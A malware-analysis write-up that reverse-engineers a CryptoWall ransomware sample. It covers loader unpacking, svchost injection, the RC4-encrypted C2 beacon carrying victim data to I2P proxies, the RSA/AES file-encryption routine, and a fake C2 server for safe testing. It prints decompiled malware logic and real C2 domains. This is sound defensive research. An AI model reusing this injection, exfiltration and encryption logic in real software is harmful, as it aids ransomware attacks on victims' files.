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A strain of a Crowti ransomware emerged, the variant known as CryptoWall, was spotted by
researchers in early 2013. Ransomware by nature is extraordinarily destructive but this one
in particular was a bit beyond that. Over the next 2 years, with over 5.25 billion files
encrypted and 1 million+ systems infected, this virus has definitely made its mark in the pool
of cyber weapons. Below you can find a list of the top ten infected countries:

Source: Dell Secure Works
CryptoWall is distinct in that its campaign ID initially gets sent back to their C2 servers for
verification purposes. The motivation behind these ID’s are to track samples by the loader
vectors. The one we will be analyzing in our laboratory experiment has the crypt1  ID that
was first seen around February 26th, 2014. The infection vector is still unknown today but we
will be showing how to unpack the loader, and extract the main ransomware file. Some of the
contagions have been caused by Drive-by downloads, Cutwail/Upatre, Infinity/Goon exploit
kit, Magnitude exploit kit, Nuclear exploit kit/Pony Loader, and Gozi/Neverquest.

https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f
https://ryancor.medium.com/?source=post_page-----843f86055c7f--------------------------------
https://ryancor.medium.com/?source=post_page-----843f86055c7f--------------------------------
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Initial Analysis

We will start by providing the hash of the packed loader file:

➜  CryptoWall git:(master) openssl md5 cryptowall.binMD5(cryptowall.bin)= 
47363b94cee907e2b8926c1be61150c7

Running the file  command on the bin executable, we can confirm that this is a PE32
executable (GUI) Intel 80386, for MS Windows . Similar to the analysis we did on the
Cozy Bear’s Beacon Loader, we will be using IDA Pro as our flavor of disassembler tools.

Loading the packed executable into our control flow graph view, it becomes apparent fairly
quickly that this is packed loader code, and the real CryptoWall code is hiding somewhere
within.

WinMain CFG View
Checking the resource section of this binary only shows that it has two valid entries; the first
one being a size of 91,740  bytes. Maybe we will get lucky and the hidden PE will be here?

https://medium.com/@ryancor/extracting-embedded-payloads-from-malware-aaca8e9aa1a9
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Dumped resource section
Unfortunately not! This looks like some custom base64 encoded data that will hopefully get
used later somewhere down the line in our dissection of the virus. If we scroll down to the
end of WinMain()  you’ll notice a jump instruction that points to EAX . It will look something
like this in the decompiler view:

JUMPOUT(eax=decrypted_code_segment);

Unpacking Binary Loaders

At this point, we have to open up a debugger, and view this area of code as it is being
resolved dynamically. What you will want to do is a set a breakpoint at 0x00402dda , which
is the location of the jmp  instruction. Once you hit this breakpoint after continuing
execution, you’ll notice EAX  now points to a new segment of code. Dumping EAX  in the
disassembler will lead you to the 2nd stage loader. Use the debugger’s step into  feature,
and our instruction pointer should be safely inside the decrypted loader area.
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2nd Stage
Let’s go over what is happening at this stage of the malware. EBP+var_EA6E  gets loaded
effectively into EDX , EAX  then holds the index count incrementer to follow the next few
bytes at data address 302C9AEh .

.data:0302CA46   mov     bl, byte ptr (loc_302C9AE - 302C9AEh)[eax].data:0302CA48   
add     ebx, esi.data:0302CA4A   mov     [edx], bl

All this snippet of code is doing is loading bytes from the address mentioned above and
storing it at bl  (the lower 8 bits of EBX ). The byte from bl  is then moved into the pointer
value of EDX . At the end of this routine EBP+var_EA6E  will hold a valid address that gets
called as EAX  (we can see the line highlighted in red in the image above). Stepping into
EAX  will now bring us to the third stage of the loading process.

A lot is going on at this point; this function has a couple thousand lines of assembly to go
over, so at this point it’s better we open the decompiler view to see what is happening. After
resolving some of the strings on the stack, there is some key information that starts to pop up
on the resource section we viewed earlier.

pLockRsrc = GetProcAddress(kernel32, &LockResource);pSizeofResource = 
GetProcAddress(kernel32, &SizeofResource);pLoadResource = GetProcAddress(kernel32, 
&LoadResource);pGetModuleHandle = GetProcAddress(kernel32, 
&GetModuleHandleA);pFindRsrc = GetProcAddress(kernel32, &FindResourceA);pVirtualAlloc 
= GetProcAddress(kernel32, &VirtualAlloc);

The malware is loading all functions dynamically that have to do with our resource section.
After the data gets loaded into memory, CryptoWall begins its custom base64 decoding
technique and then continues to a decryption method as seen below.
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Most of what is happening here can be explained in a decryptor I wrote that resolves the
shellcode from the resource section. If you head over to the python script, you’ll notice the
custom base64 decoder is fairly simple. It will use a hardcoded charset, and check to see if
any of the bytes from the resource section match a byte from the charset; if it is a match, it
breaks from the loop. The next character gets subtracted by one and compared to a value of
zero, if greater, it will take that value and modulate by 256 ; that byte will then get stored in a
buffer array. It will perform this in a loop 89,268  times, as that is the size of the encoded
string inside the resource section.

Secondary to this, another decryption process starts on our recently decoded data from the
algorithm above. Looking at the python script again, we can see that hardcoded XOR  keys
were extracted in the debugger if you set a breakpoint inside the decryption loop. All that is
happening here is each byte is getting decrypted by a rotating three byte key. Once the loop
is finished, the code will return the address of the decrypted contents, which essentially just
contains an address to another subroutine:

loop:    buffer = *(base_addr + idx) - (*n ^ (&addr + 0xFFE6DF5F + idx));    *
(base_addr + idx++) = buffer;…Fourth_Stage_Loader = base_addr;return 
(&Fourth_Stage_Loader)(buffer, b64_decoded_str, a1);

The base_addr  transfers data to another variable that we named Fourth_Stage_Loader
which holds the address of the newest function, and can be used as a caller. If we dump the
address at call dword ptr gs:(loc_1920A1–1920A1h)[eax]  into memory, you’ll see
bytes that start with a generic x86 function prologue like 55 8b ec 81 . Dump this to a file,
and we can actually emulate this shellcode. In doing so, we don’t have to step through all
this code in the debugger; instead it will hopefully tell us how to unpack and get to the main
CryptoWall file.

Side note: the python script I wrote will automatically decode & decrypt the resource section,
and dump it to a bin file by running => python decrypt_shellcode_loader.py -e .

0x1000: push ebp0x1001: mov ebp, esp0x1003: add esp, 0xfffff004....

An easy way to see what this next stage in the malware’s loader is doing is by using one of
my favorite shellcode emulator tools called ScDbg. By using this tool, we can figure out
exactly where we need to set our breakpoints in order to get to the main ransomware file. We
are going to look for calls such as VirtualAlloc , WriteProcessMemory ,
CreateProcessA , etc.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/decrypt_shellcode_loader.py
https://github.com/ryancor/CryptoWall_Analysis/blob/master/decrypt_shellcode_loader.py#L61
https://github.com/ryancor/CryptoWall_Analysis/blob/master/decrypt_shellcode_loader.py#L61
https://github.com/ryancor/CryptoWall_Analysis/blob/master/decrypt_shellcode_loader.py#L61
https://github.com/ryancor/CryptoWall_Analysis/blob/master/extractions/pe_process_injector_dump.asm
https://github.com/ryancor/CryptoWall_Analysis/blob/master/decrypt_shellcode_loader.py
http://sandsprite.com/blogs/index.php?uid=7&pid=152
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C:\> scdbg.exe /s 3200000 /bp WriteProcessMemory /f dump.binLoaded 10587 bytes from 
file extractions/pe_process_injector_dump.binBreakpoint 0 set at 
7c802213Initialization Complete..Max Steps: 3200000Using base offset: 0x4010004011cf  
GetProcAddress(LoadLibraryA)40165f    GetProcAddress(VirtualAlloc)401c46    
GetProcAddress(GetCurrentProcessId)401c52    GetCurrentProcessId() = 29...401d46    
CloseHandle(18be)401f40    VirtualAlloc(base=0 , sz=20400) = 6000004021e1 
VirtualAllocEx(pid=1269, base=400000 , sz=25000) = 621000 /* Breakpoint 0 hit at: 
7c802213 */ 4021fe WriteProcessMemory(pid=1269, base=400000 , buf=600000, sz=400, 
written=12fd70) /* Breakpoint 0 hit at: 7c802213 */40224e 
WriteProcessMemory(pid=1269, base=401000 , buf=600400, sz=16400, written=12fd70)

Interesting… it looks like the malware is allocating memory to its own process by using
GetCurrentProcessId()  and allocating a large enough space to inject a PE file into itself.

After memory allocation, CryptoWall injects the payload file twice, once for the header, and
the second time for the rest of the file. If you set a breakpoint at WriteProcessMemory , and
continue execution twice, you can dump the second argument ( ECX ) on the stack to see the
hidden PE file.

There is an Anti-VM trick along the way in the 3rd stage part of the loader process that needs
to be patched in order to hit the injection process, so I wrote an x32Dbg python plugin to help
automate the patching and dumping operation.

Reversing the Main Crypto Binary

CryptoWall’s entry point starts off by dynamically resolving all imports to obtain all of NTDLL’s
offsets by using the process environment block.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/EMU_Scripts/Unpacker-x64dbg.py
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It will then call a subroutine that is responsible for using the base address of the loaded DLL
and uses many hardcoded DWORD addresses to locate hundreds of functions.

Side Note: If you would like to make your life a whole lot easier with resolving the function
names in each subroutine, I made a local type definition for IDA Pro over here. The resolving
import function table will look a lot cleaner than what you see above:

After the function returns, the malware will proceed to generate a unique hash based on your
system information, the resulting string will be MD5 hashed => DESKTOP-
QR18J6QB0CBF8E8Intel64 Family 6 Model 70 Stepping 1, GenuineIntel . After
computing the hash, it will setup a handle to an existing named event object with the
specified desired access that will be called as
\\BaseNamedObjects\\C6B359277232C8E248AFD89C98E96D65 .

The main engine of the code starts a few routines after the malware checks for system
information, events, anti-vm, and running processes.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/api_names.h
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Most of the time the ransomware will successfully inject its main thread into svchost  and
not explorer ; so let’s follow that trail. Since this is a 32-bit binary its going to attempt to
find svchost.exe  inside of SysWOW64  instead of System32 . After successfully locating
the full path, it will create a new thread using the RtlCreateUserThread()  API call. Once
the thread is created, NtResumeThread()  will be used on the process to start the
ransomware_thread  code. Debugging these types of threads can be a little convoluted,

and setting breakpoints doesn’t always work.

.text:00416F40     ransomware_thread proc near             .text:00416F40     
start+86↓o.text:00416F40.text:00416F40     var_14          = dword ptr 
-14h.text:00416F40     var_10          = dword ptr -10h.text:00416F40     var_C       
= dword ptr -0Ch.text:00416F40     var_8           = dword ptr -8.text:00416F40     
var_4           = dword ptr -4.text:00416F40.text:00416F40 000                 push   
ebp.text:00416F41 004                 mov     ebp, esp.text:00416F43 004              
sub     esp, 14h.text:00416F46 018                 call    ResolveImportsFromDLL...

Using x32Dbg, you can set the EIP  to address 0x00416F40  since this thread is not
resource dependent on any of the other code that has been executed up until this point; this
thread even utilizes the ResolveImportsFromDLL  function we saw in the beginning of the
program’s entry point… meaning, the forced instruction pointer jump will not damage the
integrity of the ransomware.

isHandleSet = SetSecurityHandle();if ( isHandleSet && SetupC2String() ){   v8 = 0;   
v6 = 0;   IsSuccess = WhichProcessToInject(&v8, &v6);   if ( IsSuccess )   {     
IsSuccess = StartThreadFromProcess(-1, InjectedThread,                                
0, 0, 0);     FreeVirtualMemory(v8);   }}

The thread will go through a series of configurations that involve setting up security
attributes, MD5 hashing the hostname of the infected system, and then searching to either
inject new code into svchost  or explorer . In order to start a new thread, the function
WhichProcessToInject  will query the registry path, and check permissions on what key

values the malware has access to. Once chosen, the InjectedThread  process will
resume. Stepping into that thread, we can see the module size is fairly small.

.text:00412E80     InjectedThread  proc near               ; DATA .text:00412E80     

.text:00412E80 000                 push    ebp.text:00412E81 004                 mov  
ebp, esp.text:00412E83 004                 call    MainInjectedThread.text:00412E88 
004                 push    0.text:00412E8A 008                 call    
ReturnFunctionName.text:00412E8F 008                 mov     eax, 
[eax+0A4h].text:00412E95 008                 call    eax.text:00412E97 004            
xor     eax, eax.text:00412E99 004                 pop     ebp.text:00412E9A 000      
retn.text:00412E9A     InjectedThread  endp

At address 0x00412E83 , a subroutine gets called that will bring the malware to start the
next series of functions that involves the C2 server configuration callback, and the encryption
of files. After the thread is finished executing, EAX  resolves a function at offset +0x0A4
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which will show RtlExitUserThread  being invoked. Once we enter
MainInjectedThread , you’ll notice the first function at 0x004011B40  is giving us the first

clue of how the files will be encrypted.

.text:00411D06 06C                 push    0F0000000h.text:00411D0B 070               
push    1.text:00411D0D 074                 lea     edx, 
[ebp+reg_crypt_path].text:00411D10 074                 push    edx.text:00411D11 078  
push    0.text:00411D13 07C                 lea     eax, [ebp+var_8].text:00411D16 
07C                 push    eax.text:00411D17 080                 call    
ReturnFunctionName.text:00411D1C 080                 mov     ecx, 
[eax+240h].text:00411D22 080                 call    ecx ; CryptAcquireContext

CryptAcquireContext  is used to acquire a handle to a particular key container within a
particular cryptographic service provider (CSP). In our case, the CSP being used is
Microsoft\Enhanced\Cryptographic\Provider\V1 , which coincides with algorithms

such as DES, HMAC, MD5, and RSA.

Once the CryptoContext  is populated, the ransomware will use the MD5 hash created to
label the victim’s system information and register it as a key path as such →
software\\C6B359277232C8E248AFD89C98E96D65 . The ransom note is processed by a

few steps. The first step is to generate the TOR addresses which end up resolving four
addresses: http[:]//torforall[.]com , http[:]//torman2[.]com ,
http[:]//torwoman[.]com , and http[:]//torroadsters[.]com . These DNS records

will be used later on to inject into the ransomware HTML file. Next, the note gets produced
by the use of the Win32 API function, RtlDecompressBuffer , to decompress the data
using COMPRESSION_FORMAT_LZNT1 . The compressed ransom note can be found in the
.data  section and consists of 0x52B8  bytes.
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Decompressing the note is kind of a mess in python as there is no built in function that is
able to do LZNT1 decompression. You can find the actual call at address 0x004087F3 .

.text:004087CF 024                 lea     ecx, [ebp+var_8].text:004087D2 024         
push    ecx.text:004087D3 028                 mov     edx, [ebp+arg_4].text:004087D6 
028                 push    edx.text:004087D7 02C                 mov     eax, 
[ebp+arg_6].text:004087DA 02C                 push    eax.text:004087DB 030           
mov     ecx, [ebp+var_18].text:004087DE 030                 push    ecx.text:004087DF 
034                 mov     edx, [ebp+var_C].text:004087E2 034                 push   
edx.text:004087E3 038                 movzx   eax, [ebp+var_12].text:004087E7 038     
push    eax.text:004087E8 03C                 call    
ReturnFunctionName.text:004087ED 03C                 mov     ecx, 
[eax+178h].text:004087F3 03C                 call    ecx// Decompiled below(*
(RtlDecompressBuffer))(COMPRESSION_FORMAT_LZNT1,                                
uncompressed_buffer,                          UncompressedBufferSize,                 
CompressedBuffer,                          CompressedBufferSize,                      
FinalUncompressedSize) )

After the function call, uncompressed_buffer  will be a data filled pointer to a caller-
allocated buffer (allocated from a paged or non-paged pool) that receives the decompressed
data from CompressedBuffer. This parameter is required and cannot be NULL, which is why
there is an NtAllocateVirtualMemory()  call to this parameter before being passed to
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decompression. The script I wrote will grab the compressed data from the PE file, and run a
LZNT1 decompression algorithm then place the buffer in an HTML file. The resulting note will
appear on the victims system as such:

Once the note is decompressed, the HTML fields will be populated with multiple TOR
addresses at subroutine sub_00414160() . The note is stored in memory then follows a few
more checks before the malware sends its first C2 POST request. Stepping into
SendRequestToC2  which is located at 0x00416A50 , the first thing we notice is a buffer

being allocated 60 bytes of memory.

.text:00416A77 018                 push    3Ch.text:00416A79 01C                 call 
AllocateSetMemory.text:00416A7E 01C                 add     esp, 4.text:00416A81 018  
mov     [ebp+campaign_str], eax

All this information will eventually help us write a proper fake C2 server that will allow us to
communicate with the ransomware since CryptoWall’s I2P servers are no longer active.
Around address 0x004052E0 , which we labeled EncryptData_SendToC2  will be
responsible for taking our generated campaign string and sending it as an initial ping.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/decompress_ransomwarenote.py
https://github.com/ryancor/CryptoWall_Analysis/blob/master/decompress_ransomwarenote.py#L30
https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py
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If you set a breakpoint at this function, you can see what the parameter contains:
{1|crypt1|C6B359277232C8E248AFD89C98E96D65} . Once inside this module, you'll notice

three key functions; one responsible for byte swapping, a key scheduling algorithm, and the
other doing the actual encryption. The generated RC4 encryption will end up as a hash
string:

85b088216433863bdb490295d5bd997b35998c027ed600c24d05a55cea4cb3deafdf4161e6781d2cd9aa24

Command & Control Communication

The malware sets itself up for a POST request to its I2P addresses that cycle between
proxy1–1–1.i2p  & proxy2–2–2.i2p . The way this is done is by using the function at
0x0040B880  to generate a random seed based on epoch time, and use that to create a

string that ranges from 11 to 16 bytes. This PRNG (Pseudo-Random Number Generator)
string will be used as the POST request’s URI and as the key used in the byte swapping
function before the RC4 encryption.

To give us an example, if our generated string results in tfuzxqh6wf7mng , then after the
function call, that string will turn into 67ffghmnqtuwxz . That string gets used for a 256-
generated key scheduling algorithm, and the POST request (I.E., http://proxy1–1–
1.i2p/67ffghmnqtuwxz ). You can find the reverse engineered algorithm here.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py#L56
https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py#L15
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The next part will take this byte swapped key, then RC4 encrypt some campaign information
that the malware has gathered, which unencrypted, will look like this:

{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1||55.59.84.254}

This blob consists of the campaign ID, an MD5 hashed unique computer identifier, a CUUID,
and the victims public IP address. After preparation of this campaign string, the ransomware
will begin to resolve the two I2P addresses. Once CryptoWall sends its first ping to the C2
server, the malware expects back an RC4 encrypted string, which will contain a public key
used to encrypt all the files on disk. The malware has the ability to decrypt this string using
the same RC4 algorithm from earlier, and will parse the info from this block:
{216|1pai7ycr7jxqkilp.onion|[pub_key]|US|[unique_id]} . The onion route is for the

ransom note, and is a personalized route that the victim can enter using a TOR browser. The
site most likely contains further instructions on how to pay the ransom.

Since the C2 servers are no longer active; in order to actually know what our fake C2 server
should send back to the malware; the parser logic had to be carefully dissected which is
located at 0x00405203 .
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In this block, the malware decrypts the data it received from the C2 server. Once decrypted,
it stores the first byte in ECX  and compares hex value to 0x7B  (char: ‘{‘ ). Tracing this
function call to the return value, the string returned back will remove brackets from start to
end. At memory address 0x00404E69 , a DWORD pointer at eax+2ch  holds our newly
decrypted and somewhat parsed string, that will be checked for a length greater than 0. If the
buffer holds weight, we move on over to the final processing of this string routine at
0x00404B00 , that I dubbed ParseC2Data() . This function takes four parameters, char*
datain , int datain_size , char *dataout , int dataout_size . The first blob on
datain  data gets parsed from the first 0x7C  (char: ‘|’ ) and extracts the victim id.

victim_id = GetXBytesFromC2Data(decrypted_block_data_from_c2, &hex_7c, 
&ptr_to_data_out);

ptr_to_data_out  and EAX  will now hold an ID number of 216 (we got that number since
we placed it there in our fake C2). The next block of code will finish the rest of the data:
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while ( victim_id ){   if ( CopyMemoryToAnotherLocation(&some_buffer_to_copy_too,     
8 * idx + 8) )   {        CopyBlocksofMemory(victim_id,                           
&some_buffer_to_copy_too[2 * idx + 1],                           
&some_buffer_to_copy_too[2 * idx]);        ++idx;        if ( ptr_to_data_out )       
{            for ( i = 0; *(i + ptr_to_data_out) == 0x7C; ++i )            {          
if (               CopyMemoryToAnotherLocation(&some_buffer_to_copy_too,              
8 * idx + 8) )                {                   ++v9;                   ++idx;      
}             }         }    }    victim_id = GetXBytesFromC2Data(0, &hex_7c_0,       
&ptr_to_data_out);    ++v5;    ++v9;}

What’s happening here is that by every iteration of the character ‘|’  we grab the next
chunk of data and place it in memory into some type structure. The data jumps X amount of
times per loop until it reaches the last 0x7C  byte. It will loop a total of four times. After this
function returns, dataout  will contain a pointer in memory to this local type, which we
reversed to look like this:

struct _C2ResponseData{   int victim_id;   char *onion_route;   const char* 
szPemPubKey;   char country_code[2];   char unique_id[4];};

Shortly after, there is a check to make sure the victim id generated is no greater than 0x3E8
or that it is not an unsigned value.

value_of_index = CheckID(*(*parsed_data_out->victim_id));if ( value_of_index > 0x3E8 
|| value_of_index == 0xFFFFFFFF )    value_of_index = 0x78;

I believe certain malware will often perform these checks throughout the parsing of the C2
response server to make sure the data being fed back is authentic. Over at 0x00404F35 ,
there is another check to see how many times it tried to reach the command server. If the
check reaches exactly 3 times then it will move to check if the onion route is valid; all
CryptoWall variants hardcode the first string index with ascii ‘1’ . If it does not start with
this number, then it will try to reach back again for a different payload. The other anti-tamper
check it makes for the onion route is a CRC32 hash against the payload, if the compressed
route does not equal 0x63680E35 , the malware will try one last time to compare against the
DWORD value of 0x30BBB749 . The variant has two hardcoded 256 byte arrays to which it
compares the encrypted values against. Brute-forcing can take a long time but is possible
with a python script that I made here. The checksum is quite simple, it will take each letter of
the site string and logical-XOR against an unsigned value:

tmp = ord(site[i])) ^ (ret_value & 0xffffff)

It will take the tmp  value and use it as an index in the hardcoded byte array to perform
another logical-XOR against :

ret_value = bytes_array[tmp*4:(tmp*4)+4] ^ (0xFFFFFFFF >> 8)

The return value then gets inverted giving us a 4 byte hash to verify against. Now the
malware moves on over to the main thread responsible for encrypting the victims files at
0x00412988 . The first function call in this thread is from CryptAcquireContextW , and

https://github.com/ryancor/CryptoWall_Analysis/blob/master/tor_site_checksum_finder.py
https://github.com/ryancor/CryptoWall_Analysis/blob/master/tor_site_checksum_finder.py#L47
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that will acquire a handle to a particular key container within a CSP. 16  bytes will then be
allocated to the stack using VirtualAlloc; which will be the buffer to the original key.

isDecompressed = CreateTextForRansomwareNote(0, 0, 0);if ( !isRequestSuccess || 
!isDecompressed ){   remaining_c2_data = 0;   while ( 1 )   {      isRequestSuccess = 
SecondRequestToC2(&rsa_key,                                 &rsa_key_size, 
&remaining_c2_data);      if ( isRequestSuccess )         break;      
sleep(0x1388u);}

Once the text for the ransom note is decompressed, CryptoWall will place this note as an
HTML, PNG, and TXT file inside of every directory the virus went through to encrypt
documents. After this point, it will go through another round of requests to the I2P C2 servers
to request another RSA 2048-bit public key. This key will be the one used for encryption.
This strain will do a number of particular hardcoded hash checks on the data it gets back
from the C2.

Decoding the Key

CryptoWall will use basic Win32 Crypto functions like CryptStringToBinaryA ,
CryptDecodeObjectEx , & CryptImportPublicKeyInfo  to decode the RSA key returned.

Then it will import the public key information into the provider which then returns a handle of
the public key. After importing is finished, all stored data will go into a local type structure like
this:

struct _KeyData{   char *key;   int key_size;   BYTE *hash_data_1;   BYTE 
*hash_data_2;};// Gets used here at 0x00412B8Cif ( ImportKey_And_EncryptKey(       
cryptContext,       rsa_key,       rsa_key_size,       OriginalKey->key,       
&OriginalKey->key_size,       &OriginalKey->hash_data_1,       &OriginalKey-
>hash_data_2) ){

The next actions the malware takes is pretty basic for ransomware.. it will loop through every
available drive, and use GetDriveTypeW  to determine whether a disk drive is a removable,
fixed, CD-ROM, RAM disk, or network drive. In our case, the C drive is the only open drive
which falls under the category of DRIVE_FIXED . CryptoWall will only check if the drive is
CD-ROM because it will not try to spread in that case.

.text:00412C1B      mov     ecx, [ebp+driver_letter].text:00412C1E      push    
ecx.text:00412C1F      call    GetDriveTypeW.text:00412C2C      cmp     eax, 
5.text:00412C2F      jz      skip_drive

EAX  holds the integer value returned from the function call which represents the type of
drive associated with that number (5 == DRIVE_CDROM). You can find the documentation
here.

The exciting part is near as we are about to head over to where the malware duplicates the
key it retrieved from our fake C2 server at address 0x00412C7A . What is happening here is
pretty straight forward, and we can show in pseudo-code:

https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypew
https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py#L74
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if (OriginalKey)   DuplicatedKey = HeapAlloc(16)   if (DuplicatedKey)      
CryptDuplicateKey(OriginalKey, 0, 0, DuplicatedKey)      memcpy(DuplicatedKey, 
OriginalKey, OrignalKey_size)      CryptDestroyKey(OriginalKey)

Essentially CryptDuplicateKey  is making an exact copy of a key and the state of the key.
The DuplicatedKey  variable ends up becoming a struct as we can see after the function
call at 0x00412C7A , it gets used to store volume information about the drive its currently
infecting.

GetVolumeInformation(driver_letter, DuplicatedKey + 20);if ( 
MoveDriverLetterToDupKeyStruct(driver_letter,    (DuplicatedKey + 16), 0) {    ...

That is why 24 bytes was used to allocate to the heap when creating this variable instead of
16. Now we can define our struct from what we know so far:

struct _DupKey{   const char *key;   int key_size;   DWORD unknown1;   DWORD 
unknown2;   char *drive_letter;   LPDWORD lpVolumeSerialNumber;   DWORD unknown3;};// 
Now our code looks cleaner from aboveGetVolumeInformation(driver_letter,      
&DuplicatedKey->lpVolumeSerialNumber);if ( 
MoveDriverLetterToDupKeyStruct(driver_letter,      &DuplicatedKey->drive_letter, 0) { 
...

Encrypting of Files

After the malware is finished storing all pertinent information regarding how and where it will
do its encryption, CryptoWall moves forward to the main encryption loop at 0x00416780 .
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Encryption Loop Control Flow Graph
As we can see, the control flow graph is fairly long in this subroutine, but nothing out of the
ordinary when it comes to ransomware. A lot has to be done before encrypting files. At the
start of this function, we see an immediate call to HeapAlloc  to allocate 260 bytes of
memory. We can automatically assume this will be used to store the file’s absolute path, as
Windows OS only allows a max of 260 bytes. Upon success, there is also an allocation of
virtual memory with a size of 592 bytes that will later be used as the file buffer contents. Then
the API call FindFirstFileW  uses this newly allocated buffer to store the first filename
found on system. The pseudo-code below will explain the flow:

lpFileName = Allocate260BlockOfMemory(); // HeapAllocif ( lpFileName ){   (*(wcscpy + 
292))(lpFileName, driver_letter);   ...   lpFindFileData = AllocateSetMemory(592); // 
VirtualAlloc   if ( lpFindFileData )   {      hFile = (*(FindFirstFileW + 504))
(lpFileName, lpFindFileData);      if ( hFile != 0xFFFFFFFF )      {        v29 = 0;  
do         {          // Continue down to further file actions

Before the malware opens up the first victim file, it needs to make sure the file and file
extension themselves are not part of their hardcoded blacklist of bytes. It does this check
using a simple CRC-32 hash check. It will take the filename, and extension; compress it
down to a DWORD, then compare that DWORD to a list of bytes that live in the .data
section.
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To see how the algorithm works, I reversed it to python code, and wrote my own file checker.

➜  python tor_site_checksum_finder.py --check-file-ext "dll"
 [!] Searching PE sections for compressed .data

 [!] Searching PE sections for compressed extension .data

[-] '.dll' is not a valid file extension for Cryptowall

➜  python tor_site_checksum_finder.py --check-file-ext "py"
 [!] Searching PE sections for compressed .data

 [!] Searching PE sections for compressed extension .data

[+] '.py' is a valid file extension for Cryptowall

Now we can easily tell what type of files CryptoWall will attack. Obvious extensions like
.dll , .exe , and .sys  is a very common file type for ransomware to avoid.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/tor_site_checksum_finder.py#L69
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If the file passes these two checks, then it moves on over to the last part of the equation; the
actual encryption located at 0x00412260 . We can skip the first few function calls as they
are not pertinent to what is about to happen. If you take a look at address 0x00412358 ,
there is a subroutine that takes in three parameters; a file handle, our DuplicateKeyStruct,
and a file size. Stepping into the function, we can immediately tell what is happening:

if(ReadFileA(hFile, lpBuffer,           DuplicateKeyStruct->file_hash_size,           
&lpNumberOfBytesRead, 0) && lpNumberOfBytesRead) ==   DuplicateKeyStruct-
>file_hash_size{     if(memcmp(lpBuffer, DuplicateKeyStruct->file_hash,               
DuplicateKeyStruct->file_hash_size))     {             isCompare = 1;     }}

The pseudo-code is telling us that if an MD5 hash of the file is present in the header, then its
already been encrypted. If this function returns isCompared  to be true, then CryptoWall
moves on to another file and will leave this one alone. If it returns false from the
Compare16ByteHeader()  function call, the malware will append to the file’s extension by

using a simple algorithm to generate a three lettered string to place at the end. The
generation takes a timestamp, uses it as a seed, and takes that seed to then mod the first
three bytes by 26 then added to 97.

*(v8 + 2 * i) = DataSizeBasedOnSeed(0, 0x3E8u) % 26 + 97;

This is essentially a rotation cipher, where you have a numerical variable checked by a
modulate to ensure it doesn’t go past alphanumeric values, then the addition to 97 rotates
the ordinal 45 times. As an example, if we have the letter ‘A’ , then after this cipher, it ends
up becoming an ’n’ . In conclusion, if the victim file is named hello.py , this subroutine
will rename it to hello.py.3xy .

Next, around address 0x004123F0 , the generation of an AES-256 key begins with another
call to Win32’s CryptAcquireContextW . The phProv  handler gets passed over to be
used in CryptGenKey  and CryptGetKeyParam .

if ( CryptGenKey(hProv, 0x6610, 1, &hKey) ):    pbData_1 = 0;    pdwDataLen_1 = 4;    
if ( CryptGetKeyParam(hKey, 8, &pbData_1, &pdwDataLen_1, 0, 4)
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The hexadecimal value of 0x6610  shown above tells us that the generated key is going to
be AES-256 as seen in MS-DOCS. Once the hKey  address to which the function copies the
handle of the newly generated key is populated, CryptGetKeyParam  will be used to make
the key and transfer it into pbData ; a pointer to a buffer that receives the data. One last call
in this function we labeled as GenerateAESKey()  gets called which is CryptExportKey .
This will take the handle to the key to be exported and pass it the function, and the function
returns a key BLOB. The second parameter of the GenerateAESKey()  will hold the
aes_key .

The next call is one of the most important ones to understand how eventually we can decrypt
the files that CryptoWall infected. EncryptAESKey()  uses the pointer to
DuplicateKeyStruct->rsa_key  to encrypt our AES key into a 256 byte blob. Exploring

inside this function call is fairly simple; it uses CryptDuplicateKey  and CryptEncrypt  to
take our public RSA 2048-bit key from earlier, our newly generated AES key to duplicate
both keys to save for later, and encrypt the buffer. The fifth parameter is our data out in this
case and once the function returns, what we labeled as encrypted_AESkey_buffer  will
hold our RSA encrypted key.

At around address 004124A5 , you will see two calls to WriteFileA . The first call will
move the 16  byte MD5 hash at the top of the victim file, and the second call will write out
the 256  bytes of encrypted key buffer right below the hash.

https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id
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Screenshot shows 128 byte encrypted key buffer, but it was a copy mistake; Supposed to be
256 bytes of encrypted key text.
The picture above shows what an example file will look like up until this stage of the
infection. The plaintext is still intact, but the headers now hold the hash of the file and the
encrypted AES key used to encrypt the plaintext in the next phase. ReadFileA  will shortly
get called at 0x0041261B , which will read out everything after the header of the file to start
the encryption process.
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Now that 272  bytes belong to the header, anything after that we can assume is free range
for the next function to deal with. We don’t really need to deep dive too much into what
DuplicateAESKey_And_Encrypt()  does as it is pretty self explanatory. The file contents

are encrypted using the already generated AES key from above that was passed into the
HCRYPTKEY *hKey  variable. The sixth parameter of this function is the pointer which will

contain the encrypted buffer. At this point the ransomware will replace the plaintext with an
encrypted blob, and the AES key is free’d from memory.

Example of a fully encrypted file
After the file is finished being processed, the loop will continue until every allow listed file
type on disk is encrypted.

Decrypting Victim Files

Unfortunately in this case, it is only possible to write a decryption algorithm if you know the
private key used which is generated on the C2 side. This is going to be a two step process
as in order to decrypt the file contents, we need to decrypt the AES key that has been RSA



24/26

encrypted.

The fake C2 server I wrote also includes an area where a private key is generated at the
same time that the public key is generated. So in my case, all encrypted files on my VM are
able to be decrypted.

Side Note: In order to run this C2 server, you have to place the malware’s hardcoded I2P
addresses in /etc/hosts  on Windows. Then make sure the server has started before
executing the malware as there will be a lot of initial verification going back and forth
between the malware and ‘C2’ to ensure its legitimacy. Your file should look like this:

127.0.0.1 proxy1-1-1.i2p127.0.0.1 proxy2-2-2.i2p

Another reason why we un the fake C2 server before executing the malware is so we don’t
end up in some dead lock state. The output from our server will look something like this:

C:\CryptoWall\> python.exe fake_c2_i2p_server.py

* Serving Flask app "fake_c2_server" (lazy loading)
 127.0.0.1 - - [31/Mar/2020 15:10:06] "�[33mGET / HTTP/1.1�[0m" 404 -

Data Received from CryptoWall Binary:
 ------------------------------

 [!] Found URI Header: 93n14chwb3qpm
